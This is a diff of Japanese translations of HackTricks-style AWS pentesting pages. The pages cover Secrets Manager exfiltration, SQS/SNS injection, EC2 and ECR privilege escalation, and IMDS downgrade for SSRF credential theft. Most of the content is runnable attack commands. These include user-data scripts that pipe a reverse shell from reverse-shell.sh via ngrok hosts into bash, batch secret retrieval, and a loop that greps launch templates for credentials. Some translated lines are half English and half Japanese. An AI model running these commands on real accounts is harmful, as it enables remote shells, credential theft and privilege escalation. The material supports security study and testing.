-resource policy を削除するには：
+リソースポリシーを削除するには:
 ```bash
 aws secretsmanager delete-resource-policy \
 --secret-id <Secret_Name>
 ```
 ## secretsmanager:UpdateSecretVersionStage

-シークレットの状態は、シークレットのバージョンを管理するために使われます。AWSCURRENT はアプリケーションが使用するアクティブなバージョンを示し、AWSPREVIOUS は必要に応じてロールバックできるよう前のバージョンを保持し、AWSPENDING は新しいバージョンを current にする前にローテーション処理で準備・検証するために使われます。
+シークレットの状態はシークレットのバージョンを管理するために使用されます。AWSCURRENT はアプリケーションが使用するアクティブなバージョンを示し、AWSPREVIOUS は必要に応じてロールバックできるよう前のバージョンを保持し、AWSPENDING は新しいバージョンを current にする前に準備・検証するローテーションプロセスで使用されます。

-アプリケーションは常に AWSCURRENT が付いたバージョンを読みます。誰かがそのラベルを誤ったバージョンに移動させると、アプリは無効な認証情報を使ってしまい、動作しなくなる可能性があります。
+アプリケーションは常に AWSCURRENT が付いたバージョンを読みます。誰かがそのラベルを誤ったバージョンに移動すると、アプリは無効な認証情報を使ってしまい、失敗する可能性があります。

-AWSPREVIOUS は自動的には使用されません。ただし、AWSCURRENT が削除されたり誤って再割り当てされた場合、すべてがまだ前のバージョンで動作しているように見えることがあります。
+AWSPREVIOUS は自動的には使用されません。ただし、AWSCURRENT が削除されたり誤って再割り当てされた場合、すべてが依然として前のバージョンで動作しているように見えることがあります。
 ```bash
 aws secretsmanager update-secret-version-stage \
 --secret-id <your-secret-name-or-arn> \
@@ -78,15 +78,9 @@ aws secretsmanager update-secret-version-stage \
 --move-to-version-id <target-version-id> \
 --remove-from-version-id <previous-version-id>
 ```
-{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
-
 ### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)

-Secrets Manager の BatchGetSecretValue API を悪用して、1回のリクエストで最大20件のシークレットを取得します。個々のシークレットごとに GetSecretValue を繰り返す場合と比べて、API 呼び出し回数を大幅に削減できます。フィルター（tags/name）を使用する場合は、ListSecrets 権限も必要です。CloudTrail はバッチで取得した各シークレットごとに GetSecretValue イベントを記録します。
+Secrets Manager BatchGetSecretValue API を悪用して、1 回のリクエストで最大 20 件のシークレットを取得します。これは、シークレットごとに GetSecretValue を繰り返す場合に比べて API コール数を大幅に削減できます。フィルタ（tags/name）を使用する場合は ListSecrets の権限も必要です。CloudTrail は、バッチで取得された各シークレットごとに 1 件の GetSecretValue イベントを記録します。

 必要な権限
 - secretsmanager:BatchGetSecretValue
@@ -95,7 +89,7 @@ Secrets Manager の BatchGetSecretValue API を悪用して、1回のリクエ
 - kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)

 > [!WARNING]
-> Note that the permission `secretsmanager:BatchGetSecretValue` is not included enough to retrieve secrets, you also need `secretsmanager:GetSecretValue` for each secret you want to retrieve.
+> permission `secretsmanager:BatchGetSecretValue` はシークレットを取得するのに十分ではなく、取得したい各シークレットに対して `secretsmanager:GetSecretValue` が必要です。

 Exfiltrate by explicit list
 ```bash
@@ -103,7 +97,7 @@ aws secretsmanager batch-get-secret-value \
 --secret-id-list <secret1> <secret2> <secret3> \
 --query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
 ```
-Exfiltrate をフィルタで（tag key/value または name prefix）
+フィルタを使用した Exfiltrate (tag key/value または name prefix)
 ```bash
 # By tag key
 aws secretsmanager batch-get-secret-value \
@@ -126,5 +120,6 @@ aws secretsmanager batch-get-secret-value \
 aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
 ```
 影響
- 少ないAPIコールで多数のシークレットを迅速に“smash-and-grab”でき、GetSecretValueの急増に合わせて調整されたアラートを回避する可能性がある。
- CloudTrailのログには、バッチで取得された各シークレットごとに1つのGetSecretValueイベントが引き続き記録される。
+- 少ないAPIコールで多数のシークレットを迅速に「smash-and-grab」し、GetSecretValueの急増に合わせたアラートを回避する可能性がある。
+- CloudTrailのログには、バッチで取得された各シークレットごとに1件のGetSecretValueイベントが引き続き記録される。
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
@@ -4,14 +4,14 @@

 ## 説明

-SQS キューのリソースポリシーを悪用して、攻撃者が制御する SNS トピックが被害者の SQS キューにメッセージを送信できるようにする。同一アカウント内では、SNS トピックへの SQS サブスクリプションは自動で確認されるが、クロスアカウントではキューから SubscriptionConfirmation トークンを読み取り、ConfirmSubscription を呼び出す必要がある。これにより、下流のコンシューマが暗黙に信頼する可能性のある、意図しないメッセージ注入が可能になる。
+SQSキューのリソースポリシーを悪用して、攻撃者が制御するSNSトピックが被害者のSQSキューにメッセージを送信できるようにします。同一アカウント内では、SNSトピックへのSQSサブスクリプションは自動的に確認されます；クロスアカウントの場合は、キューからSubscriptionConfirmation tokenを読み取り、ConfirmSubscriptionを呼び出す必要があります。これにより、下流のコンシューマが暗黙に信頼してしまう可能性のある、信頼できないメッセージの注入が可能になります。

 ### 要件
- ターゲット SQS キューのリソースポリシーを変更できること: `sqs:SetQueueAttributes` on the victim queue.
- 攻撃者が制御する SNS トピックを作成/公開できること: `sns:CreateTopic`, `sns:Publish`, and `sns:Subscribe` on the attacker account/topic.
- クロスアカウントのみ: 被害者キュー上の一時的な `sqs:ReceiveMessage`（確認トークンを読み取り `sns:ConfirmSubscription` を呼び出すため）。
+- 対象のSQSキューのリソースポリシーを変更する権限: `sqs:SetQueueAttributes` on the victim queue.
+- 攻撃者が制御するSNSトピックを作成/メッセージ公開できる権限: `sns:CreateTopic`, `sns:Publish`, and `sns:Subscribe` on the attacker account/topic.
+- Cross-account only: 被害者キュー上で確認トークンを読み取り、`sns:ConfirmSubscription` を呼び出すための一時的な `sqs:ReceiveMessage` 。

-### 同一アカウントでの悪用
+### Same-account exploitation
 ```bash
 REGION=us-east-1
 # 1) Create victim queue and capture URL/ARN
@@ -44,11 +44,11 @@ aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoin
 aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
 aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
 ```
-### クロスアカウントの注意点
- 上記のキューポリシーは、外部の `TOPIC_ARN`（攻撃者アカウント）を許可している必要がある。
- Subscriptions は自動で確認されない。被害者のキューに対して一時的に `sqs:ReceiveMessage` を付与し、`SubscriptionConfirmation` メッセージを読み取り、その `Token` を使って `sns confirm-subscription` を呼び出す。
+### アカウント間の注意事項
+- 上のキューのポリシーは外部の `TOPIC_ARN`（攻撃者アカウント）を許可している必要があります。
+- サブスクリプションは自動確認されません。被害者キューに対して一時的に `sqs:ReceiveMessage` を付与し、`SubscriptionConfirmation` メッセージを読み、その `Token` を使って `sns confirm-subscription` を呼び出してください。

 ### 影響
-**潜在的影響**: SNS 経由で信頼された SQS キューに継続的に望まれないメッセージを注入され、意図しない処理のトリガー、データ汚染、ワークフローの悪用などを引き起こす可能性がある。
+**潜在的な影響**: SNS を介して信頼された SQS キューに継続的に望まれないメッセージを注入し、意図しない処理、データ汚染、またはワークフローの悪用を引き起こす可能性があります。

 {{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
@@ -4,7 +4,7 @@

 ## EC2

-EC2に関する**情報**は以下を参照してください：
+EC2に関する**詳細情報**は以下を参照してください：

 {{#ref}}
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,20 +12,19 @@ EC2に関する**情報**は以下を参照してください：

 ### `iam:PassRole`, `ec2:RunInstances`

-攻撃者は**IAM role をアタッチしたインスタンスを作成してそのインスタンスにアクセスし**、メタデータエンドポイントから IAM role の認証情報を盗むことができます。
+攻撃者は**IAMロールをアタッチしたインスタンスを作成してそのインスタンスにアクセスする**ことで、メタデータエンドポイントからIAMロールの資格情報を盗む可能性があります。

- **Access via SSH**
+- **SSH経由でのアクセス**

-作成済みの**ssh key** (`--key-name`) を使って新しいインスタンスを起動し、sshで接続します（新しいキーを作成する場合は `ec2:CreateKeyPair` の権限が必要になることがあります）。
+新しいインスタンスを**作成済みの** **ssh key**（`--key-name`）で起動し、その後sshでログインします（新しいkeyを作成する場合は、`ec2:CreateKeyPair`の権限が必要になることがあります）。
 ```bash
 aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
 --iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
 --security-group-ids <sg-id>
 ```
- **user data内でのrev shellによるアクセス**
+- **user data内のrev shellを使ったアクセス**

-**user data**（`--user-data`）を使って、あなたに**rev shell**を送る新しいインスタンスを起動できます。  
-この方法ではsecurity groupを指定する必要はありません。
+新しいinstanceを**user data** (`--user-data`) を使って起動し、あなたに**rev shell**を送るようにできます。 この方法ではsecurity groupを指定する必要はありません。
 ```bash
 echo '#!/bin/bash
 curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -35,18 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
 --count 1 \
 --user-data "file:///tmp/rev.sh"
 ```
-インスタンス外で IAM role の認証情報を使用する場合は GuradDuty に注意してください:
+インスタンス外で IAM role の credentials を使用する場合は、GuradDuty に注意してください:

 {{#ref}}
 ../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
 {{#endref}}

-**潜在的影響:** 既存の instance profiles にアタッチされた任意の EC2 role への直接的な privesc。
+**Potential Impact:** 既存の instance profiles にアタッチされている任意の EC2 role への直接的な privesc.

-#### ECS への Privesc
+#### Privesc to ECS

-この権限セットを使うと、**create an EC2 instance and register it inside an ECS cluster** ことも可能です。  
-この方法では、あなたがアクセスできる **EC2 instance** 内で ECS の **services** が **run** され、そのサービス（docker containers）に侵入して、**steal their ECS roles attached** ことができます。
+この権限セットがあれば、**EC2 instance を作成し ECS cluster に登録する**こともできます。これにより、ECS の **services** はあなたがアクセスできる **EC2 instance** 内で **run** され、そこでそれらの services（docker containers）に侵入して、アタッチされている **ECS roles** を盗むことができます。
 ```bash
 aws ec2 run-instances \
 --image-id ami-07fde2ae86109a2af \
@@ -61,20 +59,20 @@ aws ec2 run-instances \
 #!/bin/bash
 echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
 ```
-この新しい EC2 インスタンスで **ECS services を強制的に実行させる方法** を確認するには:
+To learn how to **force ECS services to be run** in this new EC2 instance check:

 {{#ref}}
 ../aws-ecs-privesc/README.md
 {{#endref}}

-もし新しいインスタンスを **作成できない** が `ecs:RegisterContainerInstance` の権限を持っている場合、そのインスタンスをクラスターに登録して前述の攻撃を実行できる可能性があります。
+If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack.

-**Potential Impact:** タスクにアタッチされた ECS ロールへの直接的な privesc.
+**潜在的影響:** Direct privesc to ECS roles attached to tasks.

 ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**

-前のシナリオと同様に、これらの権限を持つ攻撃者は、侵害されたインスタンスの **IAM ロールを変更する** ことで新しい認証情報を盗むことができます。\
-instance profile は 1 つのロールしか持てないため、instance profile が **すでにロールを持っている**（一般的なケース）場合は、**`iam:RemoveRoleFromInstanceProfile`** も必要になります。
+前のシナリオと同様に、これらの権限を持つ攻撃者は **compromised instance の IAM role を変更** して新しい credentials を奪取することができます.\
+As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**.
 ```bash
 # Removing role from instance profile
 aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
@@ -82,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
 # Add role to instance profile
 aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
 ```
-もし **instance profile が role を持っている** かつ attacker がそれを **削除できない** 場合、別の回避策がある。attacker は **find** して **role のない instance profile** を見つけるか、**create a new one** (`iam:CreateInstanceProfile`) を作成し、前述のとおりその **instance profile** に **role** を **add** し、侵害した i**nstance:** にその **instance profile** を **associate** することができる:
+もし**instance profile が role を持っていて**攻撃者がそれを**削除できない**場合、別の回避策があります。攻撃者は**role のない instance profile を見つける**か、**新しいものを作成する**（`iam:CreateInstanceProfile`）、その**instance profile に role を追加する**（前述の通り）、そして侵害した**instance にその instance profile を関連付ける**:

- その instance に **instance profile が割り当てられていない** 場合 (`ec2:AssociateIamInstanceProfile`)
+- もしその instance に**instance profile が何もない**場合（`ec2:AssociateIamInstanceProfile`）
 ```bash
 aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
 ```
-**潜在的な影響:** 異なるEC2ロールへの直接的なprivesc（AWS EC2インスタンスを侵害しており、追加の権限または特定のインスタンスプロファイル状態が必要）。
+**潜在的影響:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).

 ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)

-これらの権限があれば、インスタンスに関連付けられたインスタンスプロファイルを変更できるため、攻撃者が既にインスタンスへアクセスしている場合、関連付けを変更することでより多くのインスタンスプロファイルロールの資格情報を盗むことが可能になります。
+これらの権限があれば、ある instance に関連付けられている instance profile を変更することが可能です。攻撃者が既にその instance にアクセスしている場合、関連付けられている instance profile を変更することで、より多くの instance profile roles の認証情報を盗むことができるようになります。

- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it
+- もしそれが **instance profile を持っている** 場合、`ec2:DisassociateIamInstanceProfile` を使って instance profile を **削除** し、そして **関連付ける** ことができます
 ```bash
 aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
 aws ec2 disassociate-iam-instance-profile --association-id <value>
 aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
 ```
- または、**差し替える** 侵害されたインスタンスの**instance profile** (`ec2:ReplaceIamInstanceProfileAssociation`).
+- または、侵害されたインスタンスの**instance profile**を**置き換える**（`ec2:ReplaceIamInstanceProfileAssociation`）。
 ```bash
 aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
 ```
-**Potential Impact:** 別の EC2 role への直接的な privesc（AWS EC2 instance を既に侵害しており、追加の権限または特定の instance profile の状態が必要）。
+**潜在的な影響:** 別の EC2 ロールへの直接的な privesc（AWS EC2 インスタンスを侵害しており、追加の権限または特定のインスタンスプロファイルの状態が必要）。

 ### `ec2:RequestSpotInstances`,`iam:PassRole`

-権限 **`ec2:RequestSpotInstances`and`iam:PassRole`** を持つ攻撃者は、**EC2 Role attached** の **Spot Instance** を **request** し、**user data** に **rev shell** を置くことができます。\
-インスタンスが起動すると、攻撃者は **steal the IAM role** が可能になります。
+権限 **`ec2:RequestSpotInstances`and`iam:PassRole`** を持つ攻撃者は、**request** により **Spot Instance** を **EC2 Role attached** の状態で起動し、**user data** に **rev shell** を置くことができます。\
+インスタンスが実行されると、攻撃者は **steal the IAM role** できます。
 ```bash
 REV=$(printf '#!/bin/bash
 curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -121,9 +119,9 @@ aws ec2 request-spot-instances \
 ```
 ### `ec2:ModifyInstanceAttribute`

-攻撃者が **`ec2:ModifyInstanceAttribute`** を持っていると、インスタンスの属性を変更できます。その中には **user data を変更** できる項目があり、これによりインスタンスに **任意のデータを実行** させることができます。これを使って **rev shell to the EC2 instance** を取得することが可能です。
+**`ec2:ModifyInstanceAttribute`** を持つ攻撃者はインスタンスの属性を変更できます。中でも **user data を変更する** ことで、インスタンスに **任意のデータを実行させる** ことが可能になり、これを利用して **rev shell を EC2 インスタンスに対して取得** することができます。

-属性はインスタンスが停止している間にしか **変更できない** ため、**権限** **`ec2:StopInstances`** と **`ec2:StartInstances`** が必要である点に注意してください。
+属性はインスタンスが停止している間にのみ **変更できる** ため、**`ec2:StopInstances`** と **`ec2:StartInstances`** の **権限** が必要である点に注意してください。
 ```bash
 TEXT='Content-Type: multipart/mixed; boundary="//"
 MIME-Version: 1.0
@@ -160,11 +158,11 @@ aws ec2 modify-instance-attribute \

 aws ec2 start-instances --instance-ids $INSTANCE_ID
 ```
-**Potential Impact:** 作成されたインスタンスにアタッチされた任意の EC2 IAM Role への直接的な privesc。
+**潜在的影響:** 作成されたインスタンスにアタッチされた任意の EC2 IAM Role への直接的な privesc.

 ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`

-権限 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** を持つ攻撃者は、**new Launch Template version** を作成して、**rev shell in** the **user data** と **any EC2 IAM Role on it** を含め、デフォルトバージョンを変更できます。また、**any Autoscaler group** **using** that **Launch Templat**e が **configured** to use the **latest** or the **default version** になっている場合、そのグループはそのテンプレートを使って **re-run the instances** し、rev shell を実行します。
+権限 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** を持つ攻撃者は、**new Launch Template version** を作成し、**user data** に **rev shell in** を仕込み、**any EC2 IAM Role on it** を設定してデフォルトバージョンを変更できます。そして、**latest** または **default version** を使用するよう **configured** された **Launch Templat**e を **using** している **any Autoscaler group** は、そのテンプレートを使ってインスタンスを **re-run the instances** し、rev shell を実行します。
 ```bash
 REV=$(printf '#!/bin/bash
 curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -178,11 +176,11 @@ aws ec2 modify-launch-template \
 --launch-template-name bad_template \
 --default-version 2
 ```
-**Potential Impact:** 直接的に別の EC2 role への privesc。
+**潜在的影響:** 別の EC2 role への直接的な privesc。

 ### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`),  `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)

-権限 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** を持つ攻撃者は、**IAM Role** と **rev shell** を含む **Launch Configuration** を **user data** に入れて作成し、その設定から **autoscaling group** を作成して、rev shell が **IAM Role** を盗むのを待つことができる。
+権限 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** を持つ攻撃者は、**Launch Configuration を作成し**、**IAM Role** と **rev shell** を **user data** に入れ、次にその設定から **autoscaling group を作成して** rev shell が **IAM Role を乗っ取る** のを待つことができます。
 ```bash
 aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
 --launch-configuration-name bad_config \
@@ -198,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
 --desired-capacity 1 \
 --vpc-zone-identifier "subnet-e282f9b8"
 ```
-**Potential Impact:** 別の EC2 ロールへの直接的な privesc。
+**Potential Impact:** 別の EC2 role への直接的な privesc。

 ### `!autoscaling`

-権限の組み合わせ **`ec2:CreateLaunchTemplate`** と **`autoscaling:CreateAutoScalingGroup`** は、IAM ロールへの権限昇格には**不十分**です。なぜなら Launch Configuration や Launch Template に指定されたロールをアタッチするには **`iam:PassRole` と `ec2:RunInstances`** の権限が必要だからです（これは既知の privesc です）。
+権限セット **`ec2:CreateLaunchTemplate`** と **`autoscaling:CreateAutoScalingGroup`** だけでは IAM role への privesc を行うには不十分です。なぜなら Launch Configuration や Launch Template に指定された role をアタッチするには **`iam:PassRole` and `ec2:RunInstances` の権限が必要** だからです（これは既知の privesc です）。

 ### `ec2-instance-connect:SendSSHPublicKey`

-権限 **`ec2-instance-connect:SendSSHPublicKey`** を持つ攻撃者は、ユーザに ssh キーを追加してそれを使ってアクセスする（インスタンスへの ssh アクセス権があれば）か、権限昇格に利用できます。
+権限 **`ec2-instance-connect:SendSSHPublicKey`** を持つ攻撃者はユーザーに ssh キーを追加し、それを使ってアクセスすることができます（インスタンスへの ssh アクセスがある場合）。または privesc を行うことも可能です。
 ```bash
 aws ec2-instance-connect send-ssh-public-key \
 --instance-id "$INSTANCE_ID" \
 --instance-os-user "ec2-user" \
 --ssh-public-key "file://$PUBK_PATH"
 ```
-**潜在的な影響:** 実行中のインスタンスにアタッチされた EC2 IAM ロールへの直接的な privesc。
+**潜在的影響:** 実行中のインスタンスにアタッチされた EC2 IAM roles への直接 privesc。

 ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`

-権限 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** を持つ攻撃者は、**serial 接続に ssh key を追加できる**。serial が有効でない場合、攻撃者はそれを有効にするために権限 **`ec2:EnableSerialConsoleAccess` が必要になる**。
+権限 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** を持つ攻撃者は、**シリアル接続に ssh key を追加**できます。シリアルが有効でない場合、攻撃者は **`ec2:EnableSerialConsoleAccess` を有効にする権限** が必要です。

-serial port に接続するには、マシン内部のユーザーの **username と password を知っている必要がある**。
+シリアルポートに接続するには、マシン内のユーザーの **ユーザー名とパスワードを知っている必要があります**。
 ```bash
 aws ec2 enable-serial-console-access

@@ -231,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \

 ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
 ```
-この方法は、エクスプロイトするためにユーザー名とパスワードを知っている必要があるため、privesc にあまり有用ではありません。
+この方法は、悪用するにはユーザー名とパスワードを知っている必要があるため、privesc にはあまり有用ではありません。

-**Potential Impact:**（非常に立証が難しい）実行中のインスタンスにアタッチされている EC2 IAM ロールへの直接的な privesc。
+**Potential Impact:** （非常に立証困難）実行中のインスタンスにアタッチされている EC2 IAM roles への直接的な privesc。

 ### `describe-launch-templates`,`describe-launch-template-versions`

-Since launch templates have versioning, an attacker with **`ec2:describe-launch-templates`** and **`ec2:describe-launch-template-versions`** permissions could exploit these to discover sensitive information, such as credentials present in user data. To accomplish this, the following script loops through all versions of the available launch templates:
+launch templates はバージョニングを持つため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** の権限を持つ攻撃者は、これらを悪用して user data に含まれる資格情報などの機密情報を発見できる可能性があります。これを行うには、以下のスクリプトが利用可能な launch templates の全バージョンをループします:
 ```bash
 for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
 do
@@ -250,29 +248,28 @@ echo
 done | grep -iE "aws_|password|token|api"
 done
 ```
-上記のコマンドでは、特定のパターン（`aws_|password|token|api`）を指定していますが、他の種類の機密情報を検索するために別の正規表現を使用できます。
+上記のコマンドでは特定のパターン（`aws_|password|token|api`）を指定していますが、他の種類の機密情報を検索するために別の正規表現を使用できます。

-Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use these credentials to authenticate to AWS.
+`aws_access_key_id` と `aws_secret_access_key` を見つけた場合、これらの認証情報を使って AWS に認証できます。

-**潜在的影響:** IAM user(s) への直接的な privilege escalation.
+**Potential Impact:** IAM user(s) への直接的な権限昇格。

 ## References

 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

-{{#include ../../../../banners/hacktricks-training.md}}




-### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
+### `ec2:ModifyInstanceMetadataOptions` (IMDS をダウングレードして SSRF による資格情報窃取を可能にする)

-被害者の EC2 インスタンスに対して `ec2:ModifyInstanceMetadataOptions` を呼び出す能力を持つ攻撃者は、IMDSv1 を有効にし（`HttpTokens=optional`）、`HttpPutResponseHopLimit` を増やすことで IMDS の保護を弱めることができます。これにより、インスタンス上で動作するアプリケーションからの一般的な SSRF/proxy 経路経由でインスタンスメタデータのエンドポイントに到達できるようになります。攻撃者がそのようなアプリで SSRF を起こせる場合、インスタンスプロファイルの資格情報を取得し、それらを使って pivot できます。
+被害者の EC2 インスタンスに対して `ec2:ModifyInstanceMetadataOptions` を呼び出す権限がある攻撃者は、IMDSv1 を有効化（`HttpTokens=optional`）し、`HttpPutResponseHopLimit` を増やすことで IMDS の保護を弱めることができます。これにより、インスタンス上で動作するアプリケーションからの一般的な SSRF/プロキシ経路を通じて instance metadata endpoint に到達できるようになります。攻撃者がそのようなアプリで SSRF を起こせれば、instance profile credentials を取得してそれを使って pivot できます。

- Required permissions: `ec2:ModifyInstanceMetadataOptions` on the target instance (plus the ability to reach/trigger a SSRF on the host).
- Target resource: The running EC2 instance with an attached instance profile (IAM role).
+- 必要な権限: ターゲットインスタンスに対する `ec2:ModifyInstanceMetadataOptions`（およびホストに対して SSRF に到達/トリガーする能力）。
+- 対象リソース: instance profile (IAM role) がアタッチされた稼働中の EC2 インスタンス。

-Commands example:
+コマンド例:
 ```bash
 # 1) Check current metadata settings
 aws ec2 describe-instances --instance-id <INSTANCE_ID> \
@@ -299,4 +296,5 @@ aws sts get-caller-identity
 aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
 --http-tokens required --http-put-response-hop-limit 1
 ```
-潜在的影響: SSRF を介した instance profile credentials の窃取により、EC2 ロール権限での権限昇格および横移動が発生する可能性があります。
+潜在的な影響: SSRF を介した instance profile credentials の窃取により、EC2 ロールの権限を使った権限昇格および横移動が発生する可能性があります。
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
@@ -14,11 +14,11 @@ For more info on how to download images:
 ../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
 {{#endref}}

-**Potential Impact:** トラフィック内の機密情報を傍受することで間接的な privesc を引き起こす可能性があります。
+**影響の可能性:** トラフィック内の機密情報を傍受することで発生する間接的な privesc。

 ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`

-これらすべての権限を持つ攻撃者は **ECR にログインしてイメージをアップロードすることができます**。これは、これらのイメージが使用されている他の環境へ権限を昇格させるのに有用です。
+これらすべての権限を持つ攻撃者は **ECR にログインしてイメージをアップロードできます**。これは、これらのイメージが使用されている他の環境で権限を昇格させるのに役立つ場合があります。

 To learn how to upload a new image/update one, check:

@@ -28,12 +28,12 @@ To learn how to upload a new image/update one, check:

 ### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`

-前のセクションと同様ですが、パブリックリポジトリ向けです。
+前のセクションと同様ですが、公開リポジトリ用です。

 ### `ecr:SetRepositoryPolicy`

-この権限を持つ攻撃者は、**repository** の **policy** を **変更** して自分自身（または全員）に **読み取り/書き込みアクセス** を付与することができます。\
-例えば、以下の例では読み取りアクセスが全員に付与されています。
+この権限を持つ攻撃者は **リポジトリのポリシーを変更して** 自身（または全員）に **読み取り/書き込みアクセス** を付与することができます。\
+例えば、この例では読み取りアクセスが全員に付与されています。
 ```bash
 aws ecr set-repository-policy \
 --repository-name <repo_name> \
@@ -59,7 +59,8 @@ aws ecr set-repository-policy \
 ```
 ### `ecr-public:SetRepositoryPolicy`

-前のセクションと同様ですが、パブリックリポジトリ向けです。\ 攻撃者は ECR Public repository の **リポジトリポリシーを変更** して、不正なパブリックアクセスを付与したり、権限を昇格させたりできます。
+前のセクションと同様ですが、公開リポジトリ向けです.\  
+攻撃者は、ECR Public repository の **リポジトリポリシーを変更する**ことで、不正に公開アクセスを付与したり、権限を昇格させたりできます。
 ```bash
 # Create a JSON file with the malicious public repository policy
 echo '{
@@ -86,58 +87,52 @@ echo '{
 # Apply the malicious public repository policy to the ECR Public repository
 aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
 ```
-**潜在的影響**: ECR Public リポジトリへの未承認の公開アクセスにより、任意のユーザーがイメージを push、pull、または削除できるようになります。
+**潜在的影響**: ECR Public リポジトリへの不正な公開アクセスにより、任意のユーザーがイメージを push、pull、または delete できるようになる。

 ### `ecr:PutRegistryPolicy`

-この権限を持つ攻撃者は、**レジストリポリシー**を**変更**して、自分自身や自分のアカウント（あるいは全員）に**読み取り/書き込みアクセス**を付与することができます。
+この権限を持つ攻撃者は、**registry policy** を**変更**して、自分自身や自分のアカウント（あるいは全員）に**read/write access** を付与できる。
 ```bash
 aws ecr set-repository-policy \
 --repository-name <repo_name> \
 --policy-text file://my-policy.json
 ```
-{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
-
 ### ecr:CreatePullThroughCacheRule

-ECR Pull Through Cache (PTC) ルールを悪用して、攻撃者が制御する上流名前空間を信頼されたプライベートECRプレフィックスにマッピングします。これにより、プライベートECRからプルするワークロードは、プライベートECRへ何も push していなくても透過的に攻撃者のイメージを受け取ります。
